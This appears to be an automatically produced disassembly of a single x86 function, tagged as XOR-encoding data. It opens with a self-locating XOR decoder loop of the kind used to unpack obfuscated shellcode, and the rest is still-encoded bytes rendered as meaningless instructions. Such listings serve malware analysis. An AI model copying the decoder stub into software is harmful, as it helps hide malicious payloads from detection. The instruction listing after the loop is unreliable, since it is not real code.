Function at 0xf03d50
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf03d5a
pushal
call 0xf03d60
pop ebp
sub ebp, 0x10
sub ebp, 0xb03d50
mov al, 0
jmp 0xf03d76
mov eax, 0xb03d50
mov al, 0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e1
mov edx, 0xa8518676
xor byte [eax], dl
inc eax
dec ecx
jne 0xf03d8d
jmp 0xf03da0
std
mov ebx, 0x764afffd
jbe 0xf03e1e
div dword [edi + 0x7676768e]
jne 0xf03d6b
into
jo 0xf03e29
jbe 0xf03e2b
int3
mov esi, 0x767af7fd
jbe 0xf03e3a
jne 0xf03d79
sti
adc dl, byte [edx - 0x76]
push dword [edx + 0x52]
push ds
xchg esi, eax
inc ecx
push esp
jbe 0xf03df2
sbb dword [ebx - 8], esi
jbe 0xf03e50
pop edx
push edx
push ds
nop
inc ebp
and al, 0x3b
sahf
jae 0xf03e59
jbe 0xf03e5b
lahf
inc edx
jbe 0xf03e5f
jbe 0xf03de6
adc dl, byte [edx - 0x76]
call [edx + 0x52]
and ch, byte [ebx]
std
sub edi, ebp
jle 0xf03e6d
jbe 0xf03e6f
std
jecxz 0xf03e76
jbe 0xf03e74
jbe 0xf03e75
jbe 0xf03dfd
std
sti
jbe 0xf03e7a
jbe 0xf03e7b
jbe 0xf03dbd
mov bh, 0x9f
lahf
je 0xf03e50
je 0xf03e00
mov ah, 0x72
aas
jns 0xf03e03
or byte [ecx + 0x5afd8989], 0x52
sti
adc dl, byte [edx + 0x72]
mov ah, 0x7a
jbe 0xf03e1c
jp 0xf03e94
std
cli
push edx
jb 0xf03e99
jbe 0xf03e9b
push ds
xchg esi, eax
inc ecx
push esp
jbe 0xf03e49
sbb dword [ebx - 8], esi
jbe 0xf03ea7
pop edx
push edx
sti
adc dl, byte [edx - 0x76]
invalid
jae 0xf03eb2
jbe 0xf03eb4
lahf
cmp eax, 0xfb767674
adc dl, byte [edx - 0x76]
call [edx + 0x52]
push edx
and ch, byte [ebx]
mov dword [ebx], eax
jp 0xf03dd9
add edi, dword [esi - 0x62]
push cs
jbe 0xf03ecc
jbe 0xf03ecd
jbe 0xf03e55
std
retf
jle 0xf03ed1
jbe 0xf03ed3
test dword [edi + 0x6c12c01a], 0xc01a87f7
sbb al, al
adc ch, byte [edi + esi*8 - 0x79]
rcl byte [edx], 0x6c
test dword [edi + 0x6c12c01a], 0xa445bf45
sbb al, al
adc ch, byte [ebp + eax*2 - 0x41]
inc ebp
movsb byte es:[edi], byte [esi]
cmc
sahf
jae 0xf03eaf
jns 0xf03e65
cmp byte [esi + 0x76], dh
jbe 0xf03eec
jbe 0xf03eed
jbe 0xf03ef1
jns 0xf03e77
invalid
jbe 0xf03ef2
jbe 0xf03ef2
jbe 0xf03ef3
jbe 0xf03e8e
adc ch, bh
std
push 0x4f
test byte [ebp + 0x6cf2799e], 0x76
jbe 0xf03f00
test byte [ebp + 0x67f2799f], 0x76
jbe 0xf03f09
bnd jbe 0xf03f08
jbe 0xf03ea4
adc bh, dh
lea ecx, [ecx + 0x63f27953]
test dword [ebp - 0xd86ac77], 0x76767663
arpl word [esi + 0x76], si
jbe 0xf03f13
jbe 0xf03ed6
aaa
lahf
mov edx, 0x5f898989
pop edi
cmp cl, byte [edi + 0x77]
cmc
ja 0xf03e9e
mov bh, 0x73
cmc
sahf
jb 0xf03e4e
retf
mov dword [edi + 0x22], ebx
dec edi
je 0xf03ead
pop edi
and cl, byte [edi + 0x74]
cmc
mov bh, 0x70
cmc
pushfd
jb 0xf03eb3
sahf
jae 0xf03e60
fisttp qword [ecx + 0x5afd8989]
push edx
sti
adc dl, byte [edx + 0x72]
mov ah, 0x7a
jbe 0xf03ef3
jp 0xf03f45
and edi, ebp
std
lcall 0x7a03, 0xfd232120
std
and dword [ebx], esp
std
and edi, ebp
add edi, dword [edx - 3]
or edi, dword [esi - 0x76]
invalid
div dword [eax + 0x76767677]
invalid
jbe 0xf03f5b
jbe 0xf03ee5
jno 0xf03ee0
mov cl, 0x77
jbe 0xf03f63
ja 0xf03f62
jbe 0xf03f64
jbe 0xf03ebc
int 0x74
jbe 0xf03f68
je 0xf03f67
jbe 0xf03f69
jbe 0xf03f68
je 0xf03e99
movsb byte es:[edi], byte [esi]
jns 0xf03eea
jae 0xf03f6f
jbe 0xf03f71
cld
pushal
xor byte [esp + 0x79], ah
jns 0xf03ef7
cmc
scasb al, byte es:[edi]
mov dword [ecx + 0x79a47489], ecx
jns 0xf03efd
jae 0xf03f82
jae 0xf03f82
jbe 0xf03f84
cld
pushal
xor byte [esp + 0x79], ah
cmc
movsb byte es:[edi], byte [esi]
jns 0xf03f0a
sbb al, 0x76
jbe 0xf03f8f
inc ebp
mov dh, 0x74
movsb byte es:[edi], byte [esi]
jns 0xf03f12
jae 0xf03f97
jae 0xf03f97
jbe 0xf03f99
cld
pushal
xor byte [esp + 0x79], ah
cmc
pop esp
ja 0xf03fa3
jbe 0xf03fa3
je 0xf03ed4
movsb byte es:[edi], byte [esi]
jns 0xf03f25
jae 0xf03faa
jbe 0xf03fac
cld
pushal
xor byte [esp + 0x65], ah
mov dh, 0x74
movsb byte es:[edi], byte [esi]
je 0xf03ee3
jns 0xf03f34
jae 0xf03fb9
jbe 0xf03fbb
cld
pushal
xor byte [esp + 0x65], ah
mov dh, 0x74
movsb byte es:[edi], byte [esi]
jns 0xf03f43
jae 0xf03fc8
jbe 0xf03fca
cld
pushal
xor byte [esp + 0x65], ah
mov dh, 0x74
movsb byte es:[edi], byte [esi]
je 0xf03f01
jns 0xf03f52
jae 0xf03fd7
jbe 0xf03fd8
jbe 0xf03fd9
jbe 0xf03f60
cld
pushal
xor byte [esp + 0x65], ah
movsb byte es:[edi], byte [esi]
mov dh, 0x79
mov dh, 0x79
bnd jo 0xf03fe4
jbe 0xf03fe6
jbe 0xf03f6e
std
test eax, 0x75fcae5d
invalid
pop ebp
scasb al, byte es:[edi]
cld
jne 0xf03f75
jno 0xf03faa
int 0x74
jbe 0xf03ff3
jbe 0xf03f1e
push es
mov dword [ecx + 0x7677ce89], ecx
mov esi, ecx
ja 0xf03ffc
jbe 0xf03ffe
jbe 0xf03ffd
je 0xf03f2e
movsb byte es:[edi], byte [esi]
jns 0xf03f7f
jae 0xf04004
jbe 0xf04005
jbe 0xf04006
jbe 0xf03f8d
cld
pushal
xor byte [esp + 0x65], ah
mov dh, 0x74
movsb byte es:[edi], byte [esi]
je 0xf03f3d
jns 0xf03f8e
jae 0xf04013
jae 0xf04013
jbe 0xf04015
cld
pushal
xor byte [esp + 0x79], ah
hlt
movsb byte es:[edi], byte [esi]
jns 0xf03f9a
test al, 0x89
mov dword [ecx + 0x77cdb55d], ecx
pop ebp
mov ch, 0xcd
ja 0xf04025
int 0x77
jbe 0xf04026
jbe 0xf04027
jbe 0xf0402b
jns 0xf03fa6
inc edx
inc edx
jbe 0xf0402c
jbe 0xf03f87
ja 0xf04030
jbe 0xf04031
jbe 0xf04032
jbe 0xf04031
je 0xf03f62
movsb byte es:[edi], byte [esi]
jns 0xf03fb3
jae 0xf04038
jbe 0xf0403a
cld
pushal
xor byte [esp + 0x65], ah
movsb byte es:[edi], byte [esi]
mov edi, 0xf379a474
mov edi, 0xf379a474
jae 0xf04047
jae 0xf04047
jbe 0xf04049
cld
pushal
xor byte [esp + 0x79], ah
movsb byte es:[edi], byte [esi]
jns 0xf03fce
hlt
test al, 0x89
mov dword [ecx + 0x5d81fd20], ecx
add dword [ebp + 0x7e9f28d2], 0xffffff89
shr byte [eax], cl
lahf
jle 0xf03f72
mov dword [ecx + 0x7e96b73e], ecx
cld
jo 0xf04022
std
sahf
iretd
jae 0xf04075
jae 0xf04075
jbe 0xf04076
jbe 0xf04077
jbe 0xf03ffe
cld
pushal
xor byte [esp + 0x65], ah
mov edi, 0xf379a474
movsb byte es:[edi], byte fs:[esi]
movsb byte es:[edi], byte [esi]
mov edi, 0xf379a474
jae 0xf04084
jae 0xf04084
jbe 0xf04086
cld
pushal
xor byte [esp + 0x79], ah
hlt
movsb byte es:[edi], byte fs:[esi]
jns 0xf0400b
test al, 0x89
mov dword [ecx + 0xb768ef7], ecx
jbe 0xf04097
test dword [esi + 0x76760b76], 0x8989aff7
imul dword [edi - 0x76767677]
scasd eax, dword es:[edi]
mov dword [ecx - 0x71087677], ecx
jbe 0xf0409e
mov dword [ecx + 0x73768ef7], ecx
mov edi, esi
invalid
test dword [esi + 0x76767376], 0x8989aff7
jbe 0xf040a3
jbe 0xf04025
imul dword [edi - 0x76767677]
test dword [esi + 0x767676f6], 0x7676a7f7
scasd eax, dword es:[edi]
mov dword [ecx - 0x71087677], ecx
div byte [esi + 0x76]
mov dword [ecx - 0x9710877], ecx
jbe 0xf040ae
mov dword [ecx + 0x76f68ef7], ecx
jbe 0xf040af
mov edi, esi
invalid
jbe 0xf04031
mul dword [edi + 0x76767676]
cmpsd dword [esi], dword es:[edi]
jbe 0xf040b3
jbe 0xf040b5
test dword [esi + 0x767676f6], 0x7676a7f7
jbe 0xf040bf
jbe 0xf040c1
and ch, bh
sbb dword [ebp - 0x7a], 0x9f28d285
in eax, dx
mov byte [ecx + 0x3070fc89], cl
inc ebp
mov edi, 0x79779eb6
sahf
ja 0xf040da
repne insb byte es:[edi], dx
jbe 0xf040db
jbe 0xf0405e
cmpsd dword [esi], dword es:[edi]
je 0xf040e0
jbe 0xf040e2
std
sahf
and ch, bh
sbb dword [ebp - 0x7a], 0xcd28d285
sub ch, cl
int 0x77
jbe 0xf040f0
ja 0xf040ef
jbe 0xf040f1
jbe 0xf0401b
lahf
add eax, 0x2b898988
pop ebp
or edi, dword [esi - 3]
std
mov cl, 0x29
sub ch, bh
sub dword [eax], ebp
std
xchg ebx, eax
sub esi, dword [esi + edi*2 + 0x524afd76]
sti
adc dl, byte [edx + 0x72]
std
inc edx
push edx
sti
adc dl, byte [edx + 0x72]
lahf
jb 0xf04115
jbe 0xf04116
jbe 0xf04117
jbe 0xf04119
ja 0xf0409c
stc
inc ebp
and ecx, esi
dec ebx
invalid
or eax, 0xcf767675
jne 0xf04127
jbe 0xf04082
les esi, [esi + esi*2 + 0x76]
jbe 0xf0412d
int3
aas
aas
jns 0xf040b5
or byte [ecx + 0x729f8989], 0x76
or byte [ecx + 0x729f8989], 0x76
jbe 0xf04141
dec ebx
xchg edx, eax
pop dword [esi - 0x4939403a]
retf 0x7d36
jbe 0xf040bd
loope 0xf0411e
inc ecx
inc ecx
inc ecx
inc edx
mov edi, 0xcad79fca
xor dword [ebp - 0x29], edi
retf 0x71c5
lahf
xlatb
retf 0x7d31
push 0xffffffffffffff99
cdq
invalid
dec ecx
inc ecx
inc ecx
inc ecx
sar byte [eax + 0x41414141], 0x4e
inc ecx
dec esi
lds ecx, [ebp + 0x27bebebe]
retf 0x8046
inc esi
sub byte [ecx + 0x4ea1c24d], 0xc0
mov ecx, 0x41414142
dec esi
dec esi
sar byte [ecx + 0x41414142], 0x4e
les ecx, [ecx + eax*2 + 0x41]
inc ecx
daa
retf 0xc046
inc ecx
inc ecx
inc edx
add dword [eax + 0x59], 8
or dl, al
xchg byte [ebx - 0x58], al
mov dword [esi + 0x45a8bebe], edi
inc ecx
inc ecx
inc ecx
lahf
mov edi, esi
sar ecx, cl
adc dword [ecx + esi*8 + 0x41], edi
inc edx
test al, al
xor dword [ecx + 0x45], 0xbcf84141
inc eax
inc ecx
inc ecx
sti
lea ebp, [edx + 0x30]
dec ebx
jno 0xf041c4
add dword [eax], ecx
dec esi
les esi, [edi - 0x57414142]
inc ebp
inc ecx
inc ecx
inc ecx
salc
jg 0xf0415f
pushfd
push es
mov cl, 6
xor dword [edx - 0x727272f3], edi
invalid
add byte [ebp - 0x727e0df2], cl
or byte [ecx], 6
lea ecx, [ebp - 0x720df173]
lea eax, [edx - 0x727278f8]
lea ecx, [esi]
popfd
lea eax, [edx - 0x727217f7]
invalid